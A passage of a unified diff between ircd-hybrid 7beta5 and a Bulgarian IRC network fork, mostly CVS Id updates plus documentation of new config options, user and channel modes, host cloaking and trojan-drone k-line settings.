--- ircd-hybrid-7beta5/contrib/m_nickinfo.c	Wed May 16 04:50:56 2001
+++ hybrid7-bg/contrib/m_nickinfo.c	Tue Jun  5 12:35:42 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_nickinfo.c,v 1.5 2001/05/16 08:50:56 toot Exp $
+ *   $Id: m_nickinfo.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 #include "handlers.h"
 #include "client.h"
diff -uNrd ircd-hybrid-7beta5/contrib/m_opme.c hybrid7-bg/contrib/m_opme.c
--- ircd-hybrid-7beta5/contrib/m_opme.c	Mon Mar  5 21:24:29 2001
+++ hybrid7-bg/contrib/m_opme.c	Tue Jun  5 12:35:42 2001
@@ -20,7 +20,7 @@
  *   along with this program; if not, write to the Free Software
  *   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- *   $Id: m_opme.c,v 1.10 2001/03/06 02:24:29 androsyn Exp $
+ *   $Id: m_opme.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 #include "tools.h"
 #include "handlers.h"
diff -uNrd ircd-hybrid-7beta5/contrib/stats_notice.c hybrid7-bg/contrib/stats_notice.c
--- ircd-hybrid-7beta5/contrib/stats_notice.c	Sun Apr 29 10:23:36 2001
+++ hybrid7-bg/contrib/stats_notice.c	Tue Jun  5 12:35:42 2001
@@ -1,6 +1,6 @@
 /* copyright (c) 2000 Edward Brocklesby, Hybrid Development Team */
 /*
- * $Id: stats_notice.c,v 1.5 2001/04/29 14:23:36 fl_ Exp $
+ * $Id: stats_notice.c,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
  */
 
 #include "modules.h"
diff -uNrd ircd-hybrid-7beta5/doc/CIDR.txt hybrid7-bg/doc/CIDR.txt
--- ircd-hybrid-7beta5/doc/CIDR.txt	Wed Jan 24 09:58:41 2001
+++ hybrid7-bg/doc/CIDR.txt	Tue Jun  5 12:35:42 2001
@@ -1,4 +1,4 @@
-$Id: CIDR.txt,v 1.4 2001/01/24 14:58:41 wcampbel Exp $
+$Id: CIDR.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
 CIDR Information
 ----------------
diff -uNrd ircd-hybrid-7beta5/doc/CVS/Entries hybrid7-bg/doc/CVS/Entries
--- ircd-hybrid-7beta5/doc/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/doc/CVS/Entries	Wed Jul 24 18:31:58 2002
@@ -0,0 +1,39 @@
+/CIDR.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/LazyLinks.as.implemented.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/LazyLinks.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/Makefile.in/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/Persistent_Clients.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/README.TSora/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/Tao-of-IRC.940110/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/challenge.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/cookies.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/cryptlink.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/event.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/example.conf/1.13/Thu Jul 11 19:00:57 2002//
+/fd-management.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/file-management.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/guidelines.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/hostmask.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/iauth.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/index.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/ircd.8/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/ircd.motd/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/kline.conf/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/kline.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/linebuf.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/message-customisation.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/modeg.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/modes.txt/1.7/Wed Jul 10 11:19:20 2002//
+/network.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/operguide.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/opermyth.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/opers.txt/1.7/Mon Jun 10 04:39:15 2002//
+/rfc1459.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/send.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/server-version-info/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/simple.conf/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/users.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/vchans.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/whats-new-code.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/whats-new.txt/1.1.1.1/Tue Jun  5 16:35:42 2001//
+D/old////
diff -uNrd ircd-hybrid-7beta5/doc/CVS/Repository hybrid7-bg/doc/CVS/Repository
--- ircd-hybrid-7beta5/doc/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/doc/CVS/Repository	Wed Jul 24 18:31:57 2002
@@ -0,0 +1 @@
+hybrid7-bg/doc
diff -uNrd ircd-hybrid-7beta5/doc/CVS/Root hybrid7-bg/doc/CVS/Root
--- ircd-hybrid-7beta5/doc/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/doc/CVS/Root	Wed Jul 24 18:31:57 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/doc/Persistent_Clients.txt hybrid7-bg/doc/Persistent_Clients.txt
--- ircd-hybrid-7beta5/doc/Persistent_Clients.txt	Wed Jan 24 09:58:41 2001
+++ hybrid7-bg/doc/Persistent_Clients.txt	Tue Jun  5 12:35:42 2001
@@ -105,6 +105,6 @@
 as possible, in order to eat up memory in a DDoS attempt. One of the
 same criticisms against vchans actually.
 
-$Id: Persistent_Clients.txt,v 1.3 2001/01/24 14:58:41 wcampbel Exp $
+$Id: Persistent_Clients.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
 
diff -uNrd ircd-hybrid-7beta5/doc/event.txt hybrid7-bg/doc/event.txt
--- ircd-hybrid-7beta5/doc/event.txt	Wed Jan 24 09:58:41 2001
+++ hybrid7-bg/doc/event.txt	Tue Jun  5 12:35:42 2001
@@ -1,7 +1,7 @@
 Overview of the event subsystem
 Adrian Chadd <adrian@creative.net.au>
 
-$Id: event.txt,v 1.2 2001/01/24 14:58:41 wcampbel Exp $
+$Id: event.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
 
 One of the things that immediately struck me whilst first looking at the
diff -uNrd ircd-hybrid-7beta5/doc/example.conf hybrid7-bg/doc/example.conf
--- ircd-hybrid-7beta5/doc/example.conf	Mon May  7 11:50:21 2001
+++ hybrid7-bg/doc/example.conf	Thu Jul 11 15:00:57 2002
@@ -1,5 +1,5 @@
 /* Hybrid 7 Example configuration file
- * $Id: example.conf,v 7.93 2001/05/07 15:50:21 toot Exp $
+ * $Id: example.conf,v 1.13 2002/07/11 19:00:57 Administrator Exp $
  * December 2000 - ejb, wcampbel, db and others
  */
 
@@ -220,6 +220,12 @@
 	gline_exempt = yes;
 
 	class = "opers";
+
+	/* this will cause auth block matching 
+	 * to continue if the password supplied
+	 * is incorrect               -demond
+	 */
+	skip_on_fail = yes;
 };
 
 auth {
@@ -288,6 +294,11 @@
 
 	/* We can force the user to have ident here (I: + flag) */
 	have_ident = yes;
+	
+	/* this will cloak client host
+	 *                   -demond
+	 */
+	maskhost = yes;
 };
 
 /* Define operators, old O: lines.
@@ -481,6 +492,43 @@
 	host = "hostname";
 };
 
+/* This will determine which servers are to be treated specially,
+ * as services. We now use this for SVSNICK handling.    -demond
+ */
+services {
+	name = "services.ca";
+};
+
+/* This will make the nick redirection we need on IRC Bulgaria
+ *                                           -demond
+ */
+equivalent {
+	nicks = "NS/NickServ";
+	nicks = "CS/ChanServ";
+	nicks = "OS/OperServ";
+};
+
+/* Describe which (pseudo) servers are to be treated specially
+ *                                           -demond
+ */
+relays {
+	name = "unibg-r.bulgaria.org";
+	name = "dalnet-r.bulgaria.org";
+	name = "under-r.bulgaria.org";
+};
+
+/* Defines USER host & server parameters of several known clients
+ *                                           -demond
+ */
+userpar {
+        param = "host/server";
+        param = "localhost";
+        param = "./.";
+        param = "0/0";
+        param = "blah/blah";
+        param = "php/html2";
+};
+
 /* Replacement for K: lines, bans based on user@host */
 kill {
 	user = "bad@*.hacked.edu";
@@ -709,6 +757,11 @@
 	fname_operlog = "logs/operlog";
 	fname_foperlog = "logs/foperlog";
 
+	/* Network identification string, for host cloaking
+	 *                                       -demond
+         */
+	netid = "bnet";
+
 	/* max_targets
 	 * only max_target targets can be PRIVMSG'ed / NOTICE'd in a single
 	 * command. default is 4 if not defined here. setting to 0 will have
@@ -746,13 +799,14 @@
 	 * +x - external   - See remote server connection and split notices
 	 * +y - spy        - See LINKS, STATS (if configured), TRACE notices
 	 * +z - operwall   - See oper generated WALLOPS
+         * +q - rconn      - See remote client connections
          *
          * List of usermodes that only operators can set.  Useful for
 	 * stopping clients setting modes they shouldnt be using like wallops.
 	 */
 	oper_only_umodes = bots, cconn, debug, full, skill, nchange, 
                            rej, spy, external, operwall, drone, locops,
-			   unauth;
+			   unauth, rconn;
 
         /* List of usermodes that get set when a user /oper's
          * Default: locops, wallop, operwall, servnotice.	
@@ -778,6 +832,43 @@
          * down.
 	 */
         persistant_expire_time = 24 hours;
+
+	/* Allow cyrillic (Windows-1251) in nicks & usernames
+	 *                                       -demond
+	 */
+	cyrillic = no;
+
+	/* Translate all sendto_channel() stuff to umode +T/+Y users
+         * (WARNING: this may take clients out of sync!)
+	 *                                       -demond
+	 */
+	totaltrans = no;
+
+	/* maximum time allowed for client to issue USERHOST, WHO or MODE
+	 * before we mark them as pottential trojan drone
+	 *                                       -demond
+	 */
+	grace_time = 10 seconds;
+
+	/* the following deals with drone detection/kline
+	 *                                       -demond
+	 */
+	drone_kline = yes;
+	drone_batch = yes;
+	drone_rate_max = 3;
+	drone_rate_period = 20 seconds;
+	drone_kline_time = 300 minutes;
+	drone_reason = "possible trojan drone";
+	
+	/* anti-spam onjoin/onleave muting period
+	 *                                       -demond
+	 */
+	spam_wait = 5 seconds;
+
+	/* repeat buffers purge period, don't set too low
+	 *                                       -demond
+	 */
+	repeat_grace = 20 seconds;
 };
 
 modules {
diff -uNrd ircd-hybrid-7beta5/doc/fd-management.txt hybrid7-bg/doc/fd-management.txt
--- ircd-hybrid-7beta5/doc/fd-management.txt	Wed Nov  8 14:57:54 2000
+++ hybrid7-bg/doc/fd-management.txt	Tue Jun  5 12:35:42 2001
@@ -1,7 +1,7 @@
 Overview of the filedescriptor subsystem
 Adrian Chadd <adrian@creative.net.au>
 
-$Id: fd-management.txt,v 1.1 2000/11/08 19:57:54 adrian Exp $
+$Id: fd-management.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
 
 Filedescriptor lists
diff -uNrd ircd-hybrid-7beta5/doc/file-management.txt hybrid7-bg/doc/file-management.txt
--- ircd-hybrid-7beta5/doc/file-management.txt	Wed Nov  8 14:57:54 2000
+++ hybrid7-bg/doc/file-management.txt	Tue Jun  5 12:35:42 2001
@@ -1,7 +1,7 @@
 Overview of the file management subsystem
 Adrian Chadd <adrian@creative.net.au>
 
-$Id: file-management.txt,v 1.1 2000/11/08 19:57:54 adrian Exp $
+$Id: file-management.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
 
 File operations
diff -uNrd ircd-hybrid-7beta5/doc/guidelines.txt hybrid7-bg/doc/guidelines.txt
--- ircd-hybrid-7beta5/doc/guidelines.txt	Fri Mar 16 20:34:50 2001
+++ hybrid7-bg/doc/guidelines.txt	Tue Jun  5 12:35:42 2001
@@ -33,4 +33,4 @@
 
 8.  Don't forget to include a CVS Id.
 
-# $Id: guidelines.txt,v 1.1 2001/03/17 01:34:50 db Exp $
+# $Id: guidelines.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
diff -uNrd ircd-hybrid-7beta5/doc/hostmask.txt hybrid7-bg/doc/hostmask.txt
--- ircd-hybrid-7beta5/doc/hostmask.txt	Wed May  2 05:09:52 2001
+++ hybrid7-bg/doc/hostmask.txt	Tue Jun  5 12:35:42 2001
@@ -1,6 +1,6 @@
 The hostmask/netmask system.
 Copyright(C) 2001 by Andrew Miller(A1kmm)<a1kmm@mware.virtualave.net>
-$Id: hostmask.txt,v 1.1 2001/05/02 09:09:52 a1kmm Exp $
+$Id: hostmask.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
 Contents
 ========
diff -uNrd ircd-hybrid-7beta5/doc/iauth.txt hybrid7-bg/doc/iauth.txt
--- ircd-hybrid-7beta5/doc/iauth.txt	Sun Jan  9 22:21:37 2000
+++ hybrid7-bg/doc/iauth.txt	Tue Jun  5 12:35:42 2001
@@ -1,4 +1,4 @@
-$Id: iauth.txt,v 1.2 2000/01/10 03:21:37 wnder Exp $
+$Id: iauth.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
 Patrick Alken <wnder@underworld.net>
 01/09/2000
diff -uNrd ircd-hybrid-7beta5/doc/index.txt hybrid7-bg/doc/index.txt
--- ircd-hybrid-7beta5/doc/index.txt	Fri Feb 23 15:49:28 2001
+++ hybrid7-bg/doc/index.txt	Tue Jun  5 12:35:42 2001
@@ -1,5 +1,5 @@
 
-# $Id: index.txt,v 1.8 2001/02/23 20:49:28 wcampbel Exp $
+# $Id: index.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 Here is the overview of the documents in the doc/ directory.
 
 CIDR.txt		- Description of CIDR in IPv4
diff -uNrd ircd-hybrid-7beta5/doc/kline.txt hybrid7-bg/doc/kline.txt
--- ircd-hybrid-7beta5/doc/kline.txt	Wed Jan 24 09:58:42 2001
+++ hybrid7-bg/doc/kline.txt	Tue Jun  5 12:35:42 2001
@@ -93,5 +93,5 @@
    user,host,reason should be obvious..
 
 
-$Id: kline.txt,v 1.3 2001/01/24 14:58:42 wcampbel Exp $
+$Id: kline.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
diff -uNrd ircd-hybrid-7beta5/doc/linebuf.txt hybrid7-bg/doc/linebuf.txt
--- ircd-hybrid-7beta5/doc/linebuf.txt	Mon Nov 27 14:23:02 2000
+++ hybrid7-bg/doc/linebuf.txt	Tue Jun  5 12:35:42 2001
@@ -3,7 +3,7 @@
 
 By Adrian Chadd <adrian@creative.net.au>
 
-$Id: linebuf.txt,v 1.1 2000/11/27 19:23:02 adrian Exp $
+$Id: linebuf.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
 
 History
diff -uNrd ircd-hybrid-7beta5/doc/message-customisation.txt hybrid7-bg/doc/message-customisation.txt
--- ircd-hybrid-7beta5/doc/message-customisation.txt	Sun Apr  1 18:06:49 2001
+++ hybrid7-bg/doc/message-customisation.txt	Tue Jun  5 12:35:42 2001
@@ -1,7 +1,7 @@
 Message customization/localization system
 David Taylor <davidt@yadt.co.uk>
 
-$Id: message-customisation.txt,v 1.3 2001/04/01 22:06:49 ejb Exp $
+$Id: message-customisation.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
 Please send any comments, questions, flames or suggestions to the
 above address :)
diff -uNrd ircd-hybrid-7beta5/doc/modeg.txt hybrid7-bg/doc/modeg.txt
--- ircd-hybrid-7beta5/doc/modeg.txt	Thu Jan 25 22:11:54 2001
+++ hybrid7-bg/doc/modeg.txt	Tue Jun  5 12:35:42 2001
@@ -110,4 +110,4 @@
 
 --
 Walter Campbell
-$Id: modeg.txt,v 1.1 2001/01/26 03:11:54 wcampbel Exp $
+$Id: modeg.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
diff -uNrd ircd-hybrid-7beta5/doc/modes.txt hybrid7-bg/doc/modes.txt
--- ircd-hybrid-7beta5/doc/modes.txt	Wed Jan 17 19:00:29 2001
+++ hybrid7-bg/doc/modes.txt	Wed Jul 10 07:19:20 2002
@@ -23,6 +23,10 @@
 +x - external   - See remote server connection and split notices
 +y - spy        - See LINKS, STATS (if configured), TRACE notices
 +z - operwall   - See oper generated WALLOPS
++T - cyrillic t.- Automatic PRIVMSG cyr->lat character translation (Win-1251)
++Y - cyrillic t.- Automatic PRIVMSG cyr->lat character translation (ISO-8859-5) 
++R - reg accept.- Accept PRIVMSGs from registered nicks only
++q - rem notice - See remote client connection notices
 
 Channel Modes:
 
@@ -48,8 +52,16 @@
 +t - topic      - Only chanops can change the topic
 +v - voice      - Can speak in a moderated channel, and is exempt from flood 
                   restrictions
++c - no color   - Cloak color in chan msgs, topica and quits sent to channel
++r - registered - Channel is registered with services (set by services only)
++R - reg join   - Only registered nicks can join the channel
++M - reg speak  - Only registered nicks may speak on channel
++x - pacing     - Pace JOINs, PARTs, PRIVMSGs and QUITs on channel
++C - no cyrnicks- Clients w/ nicks in cyrillic are NOT allowed to join
++w - word subst - Substitutes word pairs given in the chan subst list
++z - no repeat  - Prohibites repeating of phrases
 
 The third part of the 004 numeric lists channel modes that require arguments.
 Currently these are bklovedIh.
 
-# $Id: modes.txt,v 7.4 2001/01/18 00:00:29 wcampbel Exp $
+# $Id: modes.txt,v 1.7 2002/07/10 11:19:20 Administrator Exp $
diff -uNrd ircd-hybrid-7beta5/doc/network.txt hybrid7-bg/doc/network.txt
--- ircd-hybrid-7beta5/doc/network.txt	Wed Jan 24 09:58:43 2001
+++ hybrid7-bg/doc/network.txt	Tue Jun  5 12:35:42 2001
@@ -1,7 +1,7 @@
 Overview of the network subsystem
 Adrian Chadd <adrian@creative.net.au>
 
-$Id: network.txt,v 1.6 2001/01/24 14:58:43 wcampbel Exp $
+$Id: network.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
 
 This document is an overview of the new and hopefully improved network
diff -uNrd ircd-hybrid-7beta5/doc/old/CVS/Entries hybrid7-bg/doc/old/CVS/Entries
--- ircd-hybrid-7beta5/doc/old/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/doc/old/CVS/Entries	Wed Jul 24 18:31:58 2002
@@ -0,0 +1,8 @@
+/Authors/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/Etiquette/1.1.1.1/Tue Jun  5 16:35:42 2001//
+/README/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/example.conf.trillian/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/example_old.conf/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/ircd.8/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/simple.conf/1.1.1.1/Tue Jun  5 16:35:43 2001//
+D/US-Admin////
diff -uNrd ircd-hybrid-7beta5/doc/old/CVS/Repository hybrid7-bg/doc/old/CVS/Repository
--- ircd-hybrid-7beta5/doc/old/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/doc/old/CVS/Repository	Wed Jul 24 18:31:58 2002
@@ -0,0 +1 @@
+hybrid7-bg/doc/old
diff -uNrd ircd-hybrid-7beta5/doc/old/CVS/Root hybrid7-bg/doc/old/CVS/Root
--- ircd-hybrid-7beta5/doc/old/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/doc/old/CVS/Root	Wed Jul 24 18:31:58 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/doc/old/US-Admin/CVS/Entries hybrid7-bg/doc/old/US-Admin/CVS/Entries
--- ircd-hybrid-7beta5/doc/old/US-Admin/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/doc/old/US-Admin/CVS/Entries	Wed Jul 24 18:31:58 2002
@@ -0,0 +1,4 @@
+/Networking/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/Operators/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/README/1.1.1.1/Tue Jun  5 16:35:43 2001//
+D
diff -uNrd ircd-hybrid-7beta5/doc/old/US-Admin/CVS/Repository hybrid7-bg/doc/old/US-Admin/CVS/Repository
--- ircd-hybrid-7beta5/doc/old/US-Admin/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/doc/old/US-Admin/CVS/Repository	Wed Jul 24 18:31:58 2002
@@ -0,0 +1 @@
+hybrid7-bg/doc/old/US-Admin
diff -uNrd ircd-hybrid-7beta5/doc/old/US-Admin/CVS/Root hybrid7-bg/doc/old/US-Admin/CVS/Root
--- ircd-hybrid-7beta5/doc/old/US-Admin/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/doc/old/US-Admin/CVS/Root	Wed Jul 24 18:31:58 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/doc/old/example_old.conf hybrid7-bg/doc/old/example_old.conf
--- ircd-hybrid-7beta5/doc/old/example_old.conf	Fri Dec 22 22:32:23 2000
+++ hybrid7-bg/doc/old/example_old.conf	Tue Jun  5 12:35:43 2001
@@ -2,7 +2,7 @@
 #   IRC - Internet Relay Chat, doc/example.conf
 #   Copyright (C) 1992, Bill Wisner
 #
-# $Id: example_old.conf,v 1.1 2000/12/23 03:32:23 db Exp $
+# $Id: example_old.conf,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
 #
 # Example of an old style ircd.conf file, which h7 will not parse
 # but is kept here for historical interest
diff -uNrd ircd-hybrid-7beta5/doc/old/simple.conf hybrid7-bg/doc/old/simple.conf
--- ircd-hybrid-7beta5/doc/old/simple.conf	Fri Dec 22 22:32:23 2000
+++ hybrid7-bg/doc/old/simple.conf	Tue Jun  5 12:35:43 2001
@@ -1,7 +1,7 @@
 # IRC minimal example configuration file
 #
-# $Id: simple.conf,v 1.1 2000/12/23 03:32:23 db Exp $
-# $Id: simple.conf,v 1.1 2000/12/23 03:32:23 db Exp $
+# $Id: simple.conf,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
+# $Id: simple.conf,v 1.1.1.1 2001/06/05 16:35:43 demond Exp $
 # 
 # This is a basic ircd.conf that will get you up and running with
 # little or no modifications.  See the example.conf file for more
diff -uNrd ircd-hybrid-7beta5/doc/opers.txt hybrid7-bg/doc/opers.txt
--- ircd-hybrid-7beta5/doc/opers.txt	Mon Apr 30 10:29:38 2001
+++ hybrid7-bg/doc/opers.txt	Mon Jun 10 00:39:15 2002
@@ -1,5 +1,5 @@
 This file outlines the features that ircd-hybrid has for IRC Operators.
-$Id: opers.txt,v 7.20 2001/04/30 14:29:38 jdc Exp $
+$Id: opers.txt,v 1.7 2002/06/10 04:39:15 Administrator Exp $
 
 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 
@@ -27,6 +27,10 @@
        * +a     - Is marked as a server admin in whois.
        * +e     - Can see possible drone warnings
          +g     - "caller id" mode only allow accept clients to message you
+         +T     - Cyrillic to latin character translation (Windows-1251)
+         +Y     - Cyrillic to latin character translation (ISO-8859-5)
+         +R     - Accept PRIVMSGs from registered nicks only
+       * +q     - Can see remote client connection notices
 
 For +g: /QUOTE ACCEPT <nick>   -- Add a permitted nickname
         /QUOTE ACCEPT -<nick>  -- Remove a permitted nickname
@@ -72,14 +76,18 @@
                     p - Shows opers connected and their idle times
                   * q - Shows quarantined nicks (Old Q: lines)
                   * r - Shows resource usage by ircd
+                  * R - Shows configured relay servers
                   * s - Shows the server cache
                   * t - Shows generic server stats
                   * U - Shows shared blocks (Old U: lines)
                     u - Shows server uptime
                   * v - Shows connected servers and their idle times
                   * x - Shows gecos bans (Old X: lines)
+                  * X - Shows recognized USER parameters
                   * y - Shows Y lines
+                  * Y - Shows equivalent nicks
                   * z - Shows memory stats
+                  * Z - Shows services blocks
                   * ? - Shows connected servers and sendq info about them
 
   CONNECT       - CONNECT <server_A> [port] [server_B]
diff -uNrd ircd-hybrid-7beta5/doc/send.txt hybrid7-bg/doc/send.txt
--- ircd-hybrid-7beta5/doc/send.txt	Sat Feb 10 13:24:30 2001
+++ hybrid7-bg/doc/send.txt	Tue Jun  5 12:35:42 2001
@@ -290,4 +290,4 @@
 
 -- Diane Bruce 
 
-$Id: send.txt,v 1.16 2001/02/10 18:24:30 fl_ Exp $
+$Id: send.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
diff -uNrd ircd-hybrid-7beta5/doc/server-version-info hybrid7-bg/doc/server-version-info
--- ircd-hybrid-7beta5/doc/server-version-info	Sun Feb 18 00:44:45 2001
+++ hybrid7-bg/doc/server-version-info	Tue Jun  5 12:35:42 2001
@@ -1,4 +1,4 @@
-$Id: server-version-info,v 7.10 2001/02/18 05:44:45 wcampbel Exp $
+$Id: server-version-info,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 Updated for Hybrid 7 (2000/12/28)
 
 When you type /version you will often see something like this:
diff -uNrd ircd-hybrid-7beta5/doc/simple.conf hybrid7-bg/doc/simple.conf
--- ircd-hybrid-7beta5/doc/simple.conf	Wed Jan 24 09:58:45 2001
+++ hybrid7-bg/doc/simple.conf	Tue Jun  5 12:35:42 2001
@@ -1,6 +1,6 @@
 # Hybrid 7 minimal example configuration file
 #
-# $Id: simple.conf,v 7.6 2001/01/24 14:58:45 wcampbel Exp $
+# $Id: simple.conf,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 #
 # This is a basic ircd.conf that will get your server running with
 # little modification.  See the example.conf for more specific 
diff -uNrd ircd-hybrid-7beta5/doc/users.txt hybrid7-bg/doc/users.txt
--- ircd-hybrid-7beta5/doc/users.txt	Wed Apr 18 08:54:15 2001
+++ hybrid7-bg/doc/users.txt	Tue Jun  5 12:35:42 2001
@@ -1,5 +1,5 @@
 This file outlines the features that ircd-hybrid supports for users.
-$Id: users.txt,v 1.1 2001/04/18 12:54:15 fl_ Exp $
+$Id: users.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
 =-=-=-=-=-=-=-=-=
     USERMODES
diff -uNrd ircd-hybrid-7beta5/doc/vchans.txt hybrid7-bg/doc/vchans.txt
--- ircd-hybrid-7beta5/doc/vchans.txt	Sat Nov  4 22:01:02 2000
+++ hybrid7-bg/doc/vchans.txt	Tue Jun  5 12:35:42 2001
@@ -1,4 +1,4 @@
-$Id: vchans.txt,v 1.1 2000/11/05 03:01:02 db Exp $
+$Id: vchans.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
                   "Virtual Channels"
 		======================
diff -uNrd ircd-hybrid-7beta5/doc/whats-new-code.txt hybrid7-bg/doc/whats-new-code.txt
--- ircd-hybrid-7beta5/doc/whats-new-code.txt	Wed Jan 24 09:58:45 2001
+++ hybrid7-bg/doc/whats-new-code.txt	Tue Jun  5 12:35:42 2001
@@ -1,7 +1,7 @@
 
 Whats changed in the codebase
 
-# $Id: whats-new-code.txt,v 1.2 2001/01/24 14:58:45 wcampbel Exp $
+# $Id: whats-new-code.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
 First, please note one thing - a *LOT* has changed in hybrid-7.
 
diff -uNrd ircd-hybrid-7beta5/doc/whats-new.txt hybrid7-bg/doc/whats-new.txt
--- ircd-hybrid-7beta5/doc/whats-new.txt	Thu Mar 15 06:19:30 2001
+++ hybrid7-bg/doc/whats-new.txt	Tue Jun  5 12:35:42 2001
@@ -199,5 +199,5 @@
     AOPS    - Supports anonymous channel ops (channel mode +a)
     UID     - Unique user-ID support
 
-# $Id: whats-new.txt,v 7.22 2001/03/15 11:19:30 fl_ Exp $
+# $Id: whats-new.txt,v 1.1.1.1 2001/06/05 16:35:42 demond Exp $
 
diff -uNrd ircd-hybrid-7beta5/gnats/CVS/Entries hybrid7-bg/gnats/CVS/Entries
--- ircd-hybrid-7beta5/gnats/CVS/Entries	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/gnats/CVS/Entries	Wed Jul 24 18:31:58 2002
@@ -0,0 +1,4 @@
+/Makefile.in/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/leguin/1.1.1.1/Tue Jun  5 16:35:43 2001//
+/send-pr.in/1.1.1.1/Tue Jun  5 16:35:43 2001//
+D
diff -uNrd ircd-hybrid-7beta5/gnats/CVS/Repository hybrid7-bg/gnats/CVS/Repository
--- ircd-hybrid-7beta5/gnats/CVS/Repository	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/gnats/CVS/Repository	Wed Jul 24 18:31:58 2002
@@ -0,0 +1 @@
+hybrid7-bg/gnats
diff -uNrd ircd-hybrid-7beta5/gnats/CVS/Root hybrid7-bg/gnats/CVS/Root
--- ircd-hybrid-7beta5/gnats/CVS/Root	Wed Dec 31 19:00:00 1969
+++ hybrid7-bg/gnats/CVS/Root	Wed Jul 24 18:31:58 2002
@@ -0,0 +1 @@
+/var/source/src
diff -uNrd ircd-hybrid-7beta5/gnats/send-pr.in hybrid7-bg/gnats/send-pr.in
--- ircd-hybrid-7beta5/gnats/send-pr.in	Wed Dec 20 19:16:28 2000
+++ hybrid7-bg/gnats/send-pr.in	Tue Jun  5 12:35:43 2001
@@ -20,7 +20,7 @@
 # along with GNU GNATS; see the file COPYING.  If not, write to
 # the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA.
 #
